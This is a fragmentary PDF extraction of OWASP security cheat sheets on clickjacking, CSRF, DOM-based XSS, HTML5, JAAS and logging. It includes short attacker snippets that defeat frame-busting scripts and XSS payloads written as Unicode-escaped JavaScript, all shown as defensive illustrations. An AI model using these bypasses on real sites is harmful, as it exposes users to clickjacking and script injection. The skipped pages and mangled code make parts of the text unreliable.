the user is in a hurry; they just wish to register and get about using your site. If
we ask users to create their own question(s) instead, they then generally do so under
some amount of duress, and thus may be more likely to come up with extremely poor
questions.
21
22
23
24
2.7. References
1. https://www.owasp.org/index.php/Choosing_and_Using_Security_
Questions_Cheat_Sheet
2. http://goodsecurityquestions.com/
3. http://en.wikipedia.org/wiki/Customer_proprietary_network_
information
25
3.1. Introduction
This cheat sheet is focused on providing developer guidance on Clickjack/UI Redress
[2] attack prevention.
The most popular way to defend against Clickjacking is to include some sort of
"frame-breaking" functionality which prevents other web pages from framing the site
you wish to defend. This cheat sheet will discuss two methods of implementing
frame-breaking: first is X-Frame-Options headers (used if the browser supports the
functionality); and second is javascript frame-breaking code.
3.2.1. Limitations
Browser support: frame-ancestors is not supported by all the major browsers
yet.
X-Frame-Options takes priority: Section 7.7.1 of the CSP Spec [18] says XFrame-Options should be ignored if frame-ancestors is specified, but Chrome
40 & Firefox 35 ignore the frame-ancestors directive and follow the X-FrameOptions header instead.
26
Chrome
4.1.249.1042 [3]
Firefox (Gecko)
18.0 [6]
Internet Explorer
8.0 [7]
9.0 [8]
Opera
10.50 [9]
Safari
4.0 [10]
3.3.3. Implementation
To implement this protection, you need to add the X-Frame-Options HTTP Response
header to any page that you want to protect from being clickjacked via framebusting.
One way to do this is to add the HTTP Response Header manually to every page. A
possibly simpler way is to implement a filter that automatically adds the header to
every page.
OWASP has an article and some code [15] that provides all the details for implementing this in the Java EE environment.
The SDL blog has posted an article [16] covering how to implement this in a .NET
environment.
3.3.5. Limitations
Per-page policy specification
The policy needs to be specified for every page, which can complicate deployment. Providing the ability to enforce it for the entire site, at login time for
instance, could simplify adoption.
Problems with multi-domain sites
The current implementation does not allow the webmaster to provide a whitelist
of domains that are allowed to frame the page. While whitelisting can be dangerous, in some cases a webmaster might have no choice but to use more than
one hostname.
ALLOW-FROM browser support
The ALLOW-FROM option is a relatively recent addition (circa 2012) and may
not be supported by all browsers yet. BE CAREFUL ABOUT DEPENDING ON
ALLOW-FROM. If you apply it and the browser does not support it, then you
will have NO clickjacking defense in place.
27
And then delete that style by its ID immediately after in the script:
< s c r i p t type =" t e x t / j a v a s c r i p t " >
i f ( s e l f === top ) {
var antiClickjack = document . getElementById ( " antiClickjack " ) ;
antiClickjack . parentNode . removeChild ( antiClickjack ) ;
} else {
top . l o c a t i o n = s e l f . l o c a t i o n ;
}
</ s c r i p t >
28
This simple frame breaking script attempts to prevent the page from being incorporated into a frame or iframe by forcing the parent window to load the current frames
URL. Unfortunately, multiple ways of defeating this type of script have been made
public. We outline some here.
29
i f ( top . l o c a t i o n ! = s e l f . locaton ) {
parent . l o c a t i o n = s e l f . l o c a t i o n ;
}
Attacker sub-frame:
<iframe src =" http ://www. victim .com" >
PayPals frame busting code will generate a BeforeUnload event activating our function and prompting the user to cancel the navigation event.
30
Attacker:
<iframe src =" http ://www. victim .com/?v=< s c r i p t > i f >
The XSS filter will match that parameter "<script>if" to the beginning of the frame
busting script on the victim and will consequently disable all inline scripts in the
victims page, including the frame busting script. The XSSAuditor filter available for
Google Chrome enables the same exploit.
31
Safari 4.0.4
We observed that although location is kept immutable in most circumstances, when a
custom location setter is defined via defineSetter (through window) the object location
becomes undefined. The framing page simply does:
<script >
window . d e f i n e S e t t e r ( " l o c a t i o n " , function ( ) { } ) ;
</ s c r i p t >
Now any attempt to read or navigate the top frames location will fail.
In Chrome:
<iframe src =" http ://www. victim .com" sandbox></iframe >
3.8. References
1. https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
2. https://www.owasp.org/index.php/Clickjacking
3. http://blog.chromium.org/2010/01/security-in-depth-new-security-features.
html
4. https://code.google.com/p/chromium/issues/detail?id=129139
32
10. http://www.zdnet.com/blog/security/apple-safari-jumbo-patch-50-vulnerabil
3541
11. https://bugs.webkit.org/show_bug.cgi?id=94836
12. Mozilla Developer Network: https://developer.mozilla.org/en-US/docs/
HTTP/X-Frame-Options
13. IETF
Draft:
http://datatracker.ietf.org/doc/
draft-ietf-websec-x-frame-options/
14. X-Frame-Options Compatibility Test:
http://erlend.oftedal.no/blog/
tools/xframeoptions/ - Check this for the LATEST browser support info for
the X-Frame-Options header
15. https://www.owasp.org/index.php/ClickjackFilter_for_Java_EE
16. http://blogs.msdn.com/sdl/archive/2009/02/05/
clickjacking-defense-in-ie8.aspx
17. https://www.codemagi.com/blog/post/194
18. https://w3c.github.io/webappsec/specs/content-security-policy/
#frame-ancestors-and-frame-options
19. https://w3c.github.io/webappsec/specs/content-security-policy/
#directive-frame-ancestors
33
4.1. Introduction
C-Based Toolchain Hardening Cheat Sheet is a brief treatment of project settings that
will help you deliver reliable and secure code when using C, C++ and Objective C
languages in a number of development environments. A more in-depth treatment of
this topic can be found here [2]. This cheatsheet will guide you through the steps
you should take to create executables with firmer defensive postures and increased
integration with the available platform security. Effectively configuring the toolchain
also means your project will enjoy a number of benefits during development, including enhanced warnings and static analysis, and self-debugging code.
There are four areas to be examined when hardening the toolchain: configuration,
integration, static analysis, and platform security. Nearly all areas are overlooked
or neglected when setting up a project. The neglect appears to be pandemic, and
it applies to nearly all projects including Auto-configured projects, Makefile-based,
Eclipse-based, and Xcode-based. Its important to address the gaps at configuration
and build time because its difficult to impossible to add hardening on a distributed
executable after the fact [3] on some platforms.
For those who would like a deeper treatment of the subject matter, please visit CBased Toolchain Hardening [2].
34
35
36
37
4.8. References
1. https://www.owasp.org/index.php/C-Based_Toolchain_Hardening_
Cheat_Sheet
2. https://www.owasp.org/index.php/C-Based_Toolchain_Hardening
3. http://sourceware.org/ml/binutils/2012-03/msg00309.html
38
39
5.1. Introduction
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious
Web site, email, blog, instant message, or program causes a users Web browser
to perform an unwanted action on a trusted site for which the user is currently
authenticated. The impact of a successful cross-site request forgery attack is limited
to the capabilities exposed by the vulnerable application. For example, this attack
could result in a transfer of funds, changing a password, or purchasing an item
in the users context. In effect, CSRF attacks are used by an attacker to make a
target system perform a function (funds Transfer, form submission etc.) via the
targets browser without knowledge of the target user, at least until the unauthorized
function has been committed.
Impacts of successful CSRF exploits vary greatly based on the role of the victim.
When targeting a normal user, a successful CSRF attack can compromise end-user
data and their associated functions. If the targeted end user is an administrator
account, a CSRF attack can compromise the entire Web application. The sites that
are more likely to be attacked are community Websites (social networking, email)
or sites that have high dollar value accounts associated with them (banks, stock
brokerages, bill pay services). This attack can happen even if the user is logged into
a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker
will embed malicious HTML or JavaScript code into an email or Website to request
a specific task url. The task then executes with or without the users knowledge,
either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).
For more information on CSRF, please see the OWASP Cross-Site Request Forgery
(CSRF) page [2].
40
In general, developers need only generate this token once for the current session.
After initial generation of this token, the value is stored in the session and is utilized
for each subsequent request until the session expires. When a request is issued by
the end-user, the server-side component must verify the existence and validity of the
41
42
The following keys the Viewstate to an individual using a unique value of your choice.
( Page . ViewStateUserKey )
This must be applied in Page_Init because the key has to be provided to ASP.NET
before Viewstate is loaded. This option has been available since ASP.NET 1.1.
However, there are limitations on this mechanism. Such as, ViewState MACs are
only checked on POSTback, so any other application requests not using postbacks
will happily allow CSRF.
43
44
5.4.3. Challenge-Response
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.
CAPTCHA
Re-Authentication (password)
One-time Token
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security,
tokens (transparent) and challenge-response should be used on high risk functions.
45
5.8. References
1. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_
(CSRF)_Prevention_Cheat_Sheet
2. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_
(CSRF)
3. http://www.corej2eepatterns.com/Design/PresoDesign.htm
4. http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1
5. http://directwebremoting.org/
6. http://en.wikipedia.org/wiki/Cryptographic_nonce
7. http://en.wikipedia.org/wiki/Claims-based_identity
8. https://wiki.mozilla.org/Security/Origin
9. http://en.wikipedia.org/wiki/Samy_(XSS)
46
6.1. Introduction
This article provides a simple model to follow when implementing solutions for data
at rest.
47
48
49
50
51
6.5. References
1. https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_
Sheet
2. http://en.wikipedia.org/wiki/CCM_mode
3. http://en.wikipedia.org/wiki/GCM_mode
52
53
7.1. Introduction
When looking at XSS (Cross-Site Scripting), there are three generally recognized
forms of XSS [2]. Reflected, Stored [3], and DOM Based XSS [4]. The XSS Prevention
Cheatsheet on page 179 does an excellent job of addressing Reflected and Stored
XSS. This cheatsheet addresses DOM (Document Object Model) based XSS and is an
extension (and assumes comprehension of) the XSS Prevention Cheatsheet.
In order to understand DOM based XSS, one needs to see the fundamental difference
between Reflected and Stored XSS when compared to DOM based XSS. The primary
different is where the attack is injected into the application. Reflected and Stored
XSS are server side injection issues while DOM based XSS is a client (browser) side
injection issue. All of this code originates on the server, which means it is the application owners responsibility to make it safe from XSS, regardless of the type of XSS
flaw it is. Also, XSS attacks always execute in the browser. The different between
Reflected/Stored XSS is where the attack is added or injected into the application.
With Reflected/Stored the attack is injected into the application during server-side
processing of requests where untrusted input is dynamically added to HTML. For
DOM XSS, the attack is injected into the application during runtime in the client
directly.
When a browser is rendering HTML and any other associated content like CSS,
javascript, etc. it identifies various rendering contexts for the different kinds of input
and follows different rules for each context. A rendering context is associated with
the parsing of HTML tags and their attributes. The HTML parser of the rendering
context dictates how data is presented and laid out on the page and can be further
broken down into the standard contexts of HTML, HTML attribute, URL, and CSS.
The JavaScript or VBScript parser of an execution context is associated with the
parsing and execution of script code. Each parser has distinct and separate semantics in the way they can possibly execute script code which make creating consistent
rules for mitigating vulnerabilities in various contexts difficult. The complication is
compounded by the differing meanings and treatment of encoded values within each
subcontext (HTML, HTML attribute, URL, and CSS) within the execution context.
For the purposes of this article, we refer to the HTML, HTML attribute, URL, and CSS
Cheatsheet contexts as subcontexts because each of these contexts can be reached
and set within a JavaScript execution context. In JavaScript code, the main context
is JavaScript but with the right tags and context closing characters, an attacker can
try to attack the other 4 contexts using equivalent JavaScript DOM methods.
The following is an example vulnerability which occurs in the JavaScript context and
HTML subcontext:
<script >
var x = <%= taintedVar % > ;
var d = document . createElement ( div ) ;
d . innerHTML = x ;
document . body . appendChild ( d ) ;
</ s c r i p t >
54
Methods
document . write ( " <HTML> Tags and markup " ) ;
document . w r i t e l n ( " <HTML> Tags and markup " ) ;
Guideline
To make dynamic updates to HTML in the DOM safe, we recommend a) HTML encoding, and then b) JavaScript encoding all untrusted input, as shown in these
examples:
element . innerHTML = "<%=Encoder . encodeForJS ( Encoder . encodeForHTML (
, untrustedData ) ) %>";
element . outerHTML = "<%=Encoder . encodeForJS ( Encoder . encodeForHTML (
, untrustedData ) ) %>";
document . write ("<%=Encoder . encodeForJS ( Encoder . encodeForHTML ( untrustedData )
, ) %>") ;
document . w r i t e l n ("<%=Encoder . encodeForJS ( Encoder . encodeForHTML (
, untrustedData ) ) %>") ;
7.1.2. RULE #2 - JavaScript Escape Before Inserting Untrusted Data into HTML
Attribute Subcontext within the Execution Context
The HTML attribute *subcontext* within the *execution* context is divergent from
the standard encoding rules. This is because the rule to HTML attribute encode
in an HTML attribute rendering context is necessary in order to mitigate attacks
which try to exit out of an HTML attributes or try to add additional attributes which
could lead to XSS. When you are in a DOM execution context you only need to
JavaScript encode HTML attributes which do not execute code (attributes other than
event handler, CSS, and URL attributes).
For example, the general rule is to HTML Attribute encode untrusted data (data
from the database, HTTP request, user, back-end system, etc.) placed in an HTML
Attribute. This is the appropriate step to take when outputting data in a rendering
context, however using HTML Attribute encoding in an execution context will break
the application display of data.
55
The problem is that if companyName had the value "Johnson & Johnson". What
would be displayed in the input text field would be "Johnson & Johnson". The
appropriate encoding to use in the above case would be only JavaScript encoding to
disallow an attacker from closing out the single quotes and in-lining code, or escaping
to HTML and opening a new script tag.
SAFE and FUNCTIONALLY CORRECT example
var x = document . createElement ( " input " ) ;
x . s e t A t t r i b u t e ( " name" , "company_name " ) ;
x . s e t A t t r i b u t e ( " value " , <%=Encoder . encodeForJS ( companyName ) % > ) ;
var form1 = document . forms [ 0 ] ;
form1 . appendChild ( x ) ;
It is important to note that when setting an HTML attribute which does not execute
code, the value is set directly within the object attribute of the HTML element so there
is no concerns with injecting up.
7.1.3. RULE #3 - Be Careful when Inserting Untrusted Data into the Event
Handler and JavaScript code Subcontexts within an Execution Context
Putting dynamic data within JavaScript code is especially dangerous because
JavaScript encoding has different semantics for JavaScript encoded data when compared to other encodings. In many cases, JavaScript encoding does not stop attacks
within an execution context. For example, a JavaScript encoded string will execute
even though it is JavaScript encoded.
Therefore, the primary recommendation is to avoid including untrusted data in this
context. If you must, the following examples describe some approaches that do and
do not work.
var x = document . createElement ( " a " ) ;
x . href = " # " ;
// In the l i n e o f code below , the encoded data
// on the r i g h t ( the second argument to s e t A t t r i b u t e )
// i s an example o f untrusted data that was properly
// JavaScript encoded but s t i l l executes .
x . s e t A t t r i b u t e ( " onclick " , "\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032
, \u0029 " ) ;
var y = document . createTextNode ( " Click To Test " ) ;
x . appendChild ( y ) ;
document . body . appendChild ( x ) ;
56
There are other places in JavaScript where JavaScript encoding is accepted as valid
executable code.
f o r ( var \u0062=0; \u0062 < 10; \u0062++) {
\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074
.\u0077\u0072\u0069\u0074\u0065\u006c\u006e
( " \ u0048\u0065\u006c\u006c\u006f\u0020\u0057\u006f\u0072\u006c\u0064 " ) ;
}
\u0077\u0069\u006e\u0064\u006f\u0077
.\u0065\u0076\u0061\u006c
\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074
.\u0077\u0072\u0069\u0074\u0065(111111111) ;
or
var s = "\u0065\u0076\u0061\u006c " ;
var t = "\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029 " ;
window [ s ] ( t ) ;
57
HTML encoded example to highlight a fundamental difference with JavaScript encoded values (DNW):
<a ; href = . . . >
If HTML encoding followed the same semantics as JavaScript encoding. The line
above could have possibily worked to render a link. This difference makes JavaScript
encoding a less viable weapon in our fight against XSS.
7.1.4. RULE #4 - JavaScript Escape Before Inserting Untrusted Data into the CSS
Attribute Subcontext within the Execution Context
Normally executing JavaScript from a CSS context required either passing
javascript:attackCode() to the CSS url() method or invoking the CSS expression()
method passing JavaScript code to be directly executed. From my experience, calling
the expression() function from an execution context (JavaScript) has been disabled.
In order to mitigate against the CSS url() method, ensure that you are URL encoding
the data passed to the CSS url() method.
document . body . s t y l e . backgroundImage = " url(<%=Encoder . encodeForJS ( Encoder .
, encodeForURL ( companyName ) ) %>) " ;
TODO: We have not been able to get the expression() function working from DOM
JavaScript code. Need some help.
7.1.5. RULE #5 - URL Escape then JavaScript Escape Before Inserting Untrusted
Data into URL Attribute Subcontext within the Execution Context
The logic which parses URLs in both execution and rendering contexts looks to be
the same. Therefore there is little change in the encoding rules for URL attributes in
an execution (DOM) context.
var x = document . createElement ( " a " ) ;
x . s e t A t t r i b u t e ( " href " , <%=Encoder . encodeForJS ( Encoder . encodeForURL (
, userRelativePath ) ) % > ) ;
var y = document . createTextElement ( " Click Me To Test " ) ;
x . appendChild ( y ) ;
document . body . appendChild ( x ) ;
58
3. Use document.createElement("..."), element.setAttribute("...","value"), element.appendChild(...), etc. to build dynamic interfaces. Please note, element.setAttribute is only safe for a limited number of attributes. Dangerous
attributes include any attribute that is a command execution context, such
as onclick or onblur. Examples of safe attributes includes align, alink, alt,
bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir,
face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref,
noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span,
summary, tabindex, title, usemap, valign, value, vlink, vspace, width.
4. Avoid use of HTML rendering methods:
a) element.innerHTML = "...";
b) element.outerHTML = "...";
c) document.write(...);
d) document.writeln(...);
5. Understand the dataflow of untrusted data through your JavaScript code. If
you do have to use the methods above remember to HTML and then JavaScript
encode the untrusted data (Stefano Di Paola).
6. There are numerous methods which implicitly eval() data passed to it. Make
sure that any untrusted data passed to these methods is delimited with string
delimiters and enclosed within a closure or JavaScript encoded to N-levels based
on usage, and wrapped in a custom function. Ensure to follow step 4 above to
make sure that the untrusted data is not sent to dangerous methods within the
custom function or handle it by adding an extra layer of encoding.
Utilizing an Enclosure (as suggested by Gaz)
The example that follows illustrates using closures to avoid double JavaScript encoding.
59
This brings up an interesting design point. Ideally, the correct way to apply encoding and avoid the problem stated above is to server-side encode for the output
context where data is introduced into the application. Then client-side encode (using
a JavaScript encoding library such as ESAPI4JS) for the individual subcontext (DOM
methods) which untrusted data is passed to. ESAPI4JS [5] and jQuery Encoder [6]
are two client side encoding libraries developed by Chris Schmidt. Here are some
examples of how they are used:
var input = "<%=Encoder . encodeForJS ( untrustedData ) %>"; //serverside
, encoding
window . l o c a t i o n = ESAPI4JS . encodeForURL ( input ) ; //URL encoding i s happening
, in JavaScript
document . w r i t e l n ( ESAPI4JS . encodeForHTML ( input ) ) ; //HTML encoding i s
, happening in JavaScript
It has been well noted by the group that any kind of reliance on a JavaScript library
for encoding would be problematic as the JavaScript library could be subverted by
attackers. One option is to wait till ECMAScript 5 so the JavaScript library could
60
Chris Schmidt has put together another implementation of a JavaScript encoder [7].
7. Limit the usage of dynamic untrusted data to right side operations. And be
aware of data which may be passed to the application which look like code (eg.
location, eval()). (Achim)
var x = "<%=properly encoded data f o r flow %>";
If you want to change different object attributes based on user input use a level
of indirection.
Instead of:
window [ userData ] = " moreUserData " ;
8. When URL encoding in DOM be aware of character set issues as the character
set in JavaScript DOM is not clearly defined (Mike Samuel).
9. Limit access to properties objects when using object[x] accessors. (Mike
Samuel). In other words use a level of indirection between untrusted input
and specified object properties. Here is an example of the problem when using
map types:
var myMapType = { } ;
myMapType[<%=untrustedData%>] = " moreUntrustedData " ;
Although the developer writing the code above was trying to add additional
keyed elements to the myMapType object. This could be used by an attacker to
subvert internal and external attributes of the myMapType object.
10. Run your JavaScript in a ECMAScript 5 canopy or sand box to make it harder
for your JavaScript API to be compromised (Gareth Heyes and John Stevens).
61
Instead use
In the above example, untrusted data started in the rendering URL context (href
attribute of an <a> tag) then changed to a JavaScript execution context (javascript:
protocol handler) which passed the untrusted data to an execution URL subcontext
(window.location of myFunction). Because the data was introduced in JavaScript
code and passed to a URL subcontext the appropriate server-side encoding would be
the following:
<a href =" j a v a s c r i p t : myFunction(<%=Encoder . encodeForJS (
Encoder . encodeForURL ( untrustedData ) ) %>, t e s t ) ; " > Click Me</a>
...
Or if you were using ECMAScript 5 with an immutable JavaScript client-side encoding libraries you could do the following:
<!server side URL encoding has been removed . Now only JavaScript encoding
, on server side . >
<a href =" j a v a s c r i p t : myFunction(<%=Encoder . encodeForJS ( untrustedData ) %>,
, t e s t ) ; " > Click Me</a>
...
<script >
Function myFunction ( url ,name) {
var encodedURL = ESAPI4JS . encodeForURL ( url ) ; //URL encoding using c l i e n t
, side s c r i p t s
window . l o c a t i o n = encodedURL ;
}
</ s c r i p t >
62
The HTML encoded value above is still executable. If that isnt enough to keep in
mind, you have to remember that encodings are lost when you retrieve them using
the value attribute of a DOM element.
Lets look at the sample page and script:
<form name="myForm" . . . >
<input type =" t e x t " name="lName" value="<%=Encoder . encodeForHTML ( last_name )
, %>">
...
</form>
<script >
var x = document .myForm. lName . value ; //when the value i s r e t r i e v e d the
, encoding i s reversed
document . w r i t e l n ( x ) ; //any code passed i n t o lName i s now executable .
</ s c r i p t >
Finally there is the problem that certain methods in JavaScript which are usually
safe can be unsafe in certain contexts.
63
7.5. References
1. https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_
Sheet
2. https://www.owasp.org/index.php/XSS
3. https://www.owasp.org/index.php/XSS#Stored_and_Reflected_XSS_
Attacks
4. https://www.owasp.org/index.php/DOM_Based_XSS
5. http://bit.ly/9hRTLH
6. https://github.com/chrisisbeef/jquery-encoder/blob/master/src/
main/javascript/org/owasp/esapi/jquery/encoder.js
7. http://yet-another-dev.blogspot.com/2011/02/
client-side-contextual-encoding-for.html
8. https://www.owasp.org/index.php/ESAPI
64
8.1. Introduction
This article provides a simple model to follow when implementing a "forgot password"
web application feature.
8.3. Steps
8.3.1. Step 1) Gather Identity Data or Security Questions
The first page of a secure Forgot Password feature asks the user for multiple pieces
of hard data that should have been previously collected (generally when the user first
registers). Steps for this are detailed in the identity section the Choosing and Using
Security Questions Cheat Sheet on page 20.
At a minimum, you should have collected some data that will allow you to send the
password reset information to some out-of-band side-channel, such as a (possibly
different) email address or an SMS text number, etc. to be used in Step 3.
65
8.5. References
1. https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet
2. https://www.owasp.org/index.php/Forced_browsing
66
9.1. Introduction
The following cheat sheet serves as a guide for implementing HTML 5 in a secure
fashion.
67
9.2.3. WebSockets
Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and older are
outdated and insecure.
The recommended version supported in latest versions of all current browsers
is RFC 6455 [6] (supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50,
and IE10).
While its relatively easy to tunnel TCP services through WebSockets (e.g. VNC,
FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross Site Scripting attack. These services might also be
called directly from a malicious page or program.
The protocol doesnt handle authorization and/or authentication. Applicationlevel protocols should handle that separately in case sensitive data is being
transferred.
Process the messages received by the websocket as data. Dont try to assign it
directly to the DOM nor evaluate as code. If the response is JSON, never use
the insecure eval() function; use the safe option JSON.parse() instead.
Endpoints exposed through the ws:// protocol are easily reversible to plain text.
Only wss:// (WebSockets over SSL/TLS) should be used for protection against
Man-In-The-Middle attacks.
68
69
9.4. Geolocation
The Geolocation RFC recommends that the user agent ask the users permission
before calculating location. Whether or how this decision is remembered varies
from browser to browser. Some user agents require the user to visit the page
again in order to turn off the ability to get the users location without asking,
so for privacy reasons, its recommended to require user input before calling
getCurrentPosition or watchPosition.
70
9.9.2. X-XSS-Protection
Enable XSS filter (only works for Reflected XSS).
Example: X-XSS-Protection: 1; mode=block
71
9.9.5. Origin
Sent by CORS/WebSockets requests.
There is a proposal to use this header to mitigate CSRF attacks, but is not yet
implemented by vendors for this purpose.
9.11. References
1. https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
2. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
3. http://code.google.com/p/google-caja/
4. https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet#
Sandboxed_frames
5. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_
(CSRF)
6. http://tools.ietf.org/html/rfc6455
7. https://www.owasp.org/index.php/Cross_Site_Scripting_Flaw
8. https://www.owasp.org/index.php/DOM_Based_XSS
9. http://www.whatwg.org/specs/web-apps/current-work/multipage/
the-iframe-element.html#attr-iframe-sandbox
72
10.1. Introduction
This article is focused on providing clear, simple, actionable guidance for providing
Input Validation security functionality in your applications.
73
Some white list validators have also been predefined in various open source packages
that you can leverage. For example:
Apache Commons Validator [4]
10.3. References
1. https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet
2. http://www.regular-expressions.info/
3. https://www.owasp.org/index.php/OWASP_Validation_Regex_
Repository
4. http://jakarta.apache.org/commons/validator
74
11.1. Introduction
11.1.1. What is JAAS authentication
The process of verifying the identity of a user or another system is authentication.
JAAS, as an authentication framework manages the authenticated users identity
and credentials from login to logout.
The JAAS authentication lifecycle:
1. Create LoginContext
2. Read the configuration file for one or more LoginModules to initialize
3. Call LoginContext.initialize() for each LoginModule to initialize.
4. Call LoginContext.login() for each LoginModule
5. If login successful then call LoginContext.commit() else call LoginContext.abort()
Note the placement of the semicolons, terminating both LoginModule entries and
stanzas. The word required indicates the LoginContexts login() method must be
successful when logging in the user. The LoginModule-specific values debug and
succeeded are passed to the LoginModule. They are defined by the LoginModule and
their usage is managed inside the LoginModule. Note, Options are Configured using
key-value pairing such as debug=true and the key and value should be separated
by a equals sign.
75
When executed, the 1st command line argument is the stanza from the config
file. The Stanza names the LoginModule to be used. The 2nd argument is the
CallbackHandler.
Create a new LoginContext with the arguments passed to Main.java.
loginContext = new LoginContext (args[0], new AppCallbackHandler());
Call the LoginContext.Login Module
loginContext.login ();
The value in succeeded Option is returned from loginContext.login()
If the login was successful, a subject was created.
11.1.4. LoginModule.java
A LoginModule must have the following authentication methods:
initialize()
login()
commit()
abort()
logout()
initialize()
In Main(), after the LoginContext reads the correct stanza from the config file, the
LoginContext instantiates the LoginModule specified in the stanza.
initialize() methods signature:
Public void initialize(Subject subject, CallbackHandler callbackHandler,
Map sharedState, Map options)
The arguments above should be saved as follows:
this.subject = subject;
this.callbackHandler = callbackHandler;
this.sharedState = sharedState;
this.options = options;
What the initialize() method does:
Builds a subject object of the Subject class contingent on a successful login()
Sets the CallbackHandler which interacts with the user to gather login information
If a LoginContext specifies 2 or more LoginModules, which is legal, they can
share information via a sharedState map
Saves state information such as debug and succeeded in an options Map
76
abort()
The abort() method is called when authentication doesnt succeed. Before the abort()
method exits the LoginModule, care should be taken to reset state including the user
name and password input fields.
77
11.1.5. CallbackHandler.java
The callbackHandler is in a source (.java) file separate from any single LoginModule
so that it can service a multitude of LoginModules with differing callback objects.
Creates instance of the CallbackHandler class and has only one method, handle().
A CallbackHandler servicing a LoginModule requiring username & password to
login:
public void handle ( Callback [ ] callbacks ) {
f o r ( i n t i = 0; i < callbacks . length ; i ++) {
Callback callback = callbacks [ i ] ;
i f ( callback instanceof NameCallback ) {
NameCallback nameCallBack = ( NameCallback ) callback ;
nameCallBack . setName ( username ) ;
} e l s e i f ( callback instanceof PasswordCallback ) {
PasswordCallback passwordCallBack = ( PasswordCallback ) callback ;
passwordCallBack . setPassword ( password . toCharArray ( ) ) ;
}
}
}
11.3. Disclosure
All of the code in the attached JAAS cheat sheet has been copied verbatim from the
free source at http://jaasbook.com/
78
11.5. References
1. https://www.owasp.org/index.php/JAAS_Cheat_Sheet
79
12.1. Introduction
This cheat sheet is focused on providing developers with concentrated guidance
on building application logging mechanisms, especially related to security logging.
Many systems enable network device, operating system, web server, mail server and
database server logging, but often custom application event logging is missing, disabled or poorly configured. It provides much greater insight than infrastructure
logging alone. Web application (e.g. web site or web service) logging is much more
than having web server logs enabled (e.g. using Extended Log File Format).
Application logging should be consistent within the application, consistent across an
organizations application portfolio and use industry standards where relevant, so
the logged event data can be consumed, correlated, analyzed and managed by a wide
variety of systems.
12.2. Purpose
Application logging should be always be included for security events. Application
logs are invaluable data for:
Identifying security incidents
Monitoring policy violations
Establishing baselines
Providing information about problems and unusual conditions
Contributing additional application-specific data for incident investigation
which is lacking in other log sources
Helping defend against vulnerability identification and exploitation through attack detection
Application logging might also be used to record other types of events too such as:
Security events
Business process monitoring e.g. sales process abandonment, transactions,
connections
Audit trails e.g. data addition, modification and deletion, data exports
Performance monitoring e.g. data load time, page timeouts
Compliance monitoring
Data for subsequent requests for information e.g. data subject access, freedom
of information, litigation, police and other regulatory investigations
80
81
82
83
84
85
86
12.3.8. Verification
Logging functionality and systems must be included in code review, application testing and security verification processes:
Ensure the logging is working correctly and as specified
Check events are being classified consistently and the field names, types and
lengths are correctly defined to an agreed standard
Ensure logging is implemented and enabled during application security, fuzz,
penetration and performance testing
Test the mechanisms are not susceptible to injection attacks
Ensure there are no unwanted side-effects when logging occurs
Check the effect on the logging mechanisms when external network connectivity
is lost (if this is usually required)
Ensure logging cannot be used to deplete system resources, for example by
filling up disk space or exceeding database transaction log space, leading to
denial of service
Test the effect on the application of logging failures such as simulated database
connectivity loss, lack of file system space, missing write permissions to the file
system, and runtime errors in the logging module itself
Verify access controls on the event log data
If log data is utilized in any action against users (e.g. blocking access, account
lock-out), ensure this cannot be used to cause denial of service (DoS) of other
users
87
12.4.2. Operation
Enable processes to detect whether logging has stopped, and to identify tampering
or unauthorized access and deletion (see protection below).
12.4.3. Protection
The logging mechanisms and collected event data must be protected from mis-use
such as tampering in transit, and unauthorized access, modification and deletion
once stored. Logs may contain personal and other sensitive information, or the data
may contain information regarding the applications code and logic. In addition,
the collected information in the logs may itself have business value (to competitors,
gossip-mongers, journalists and activists) such as allowing the estimate of revenues,
or providing performance information about employees. This data may be held on
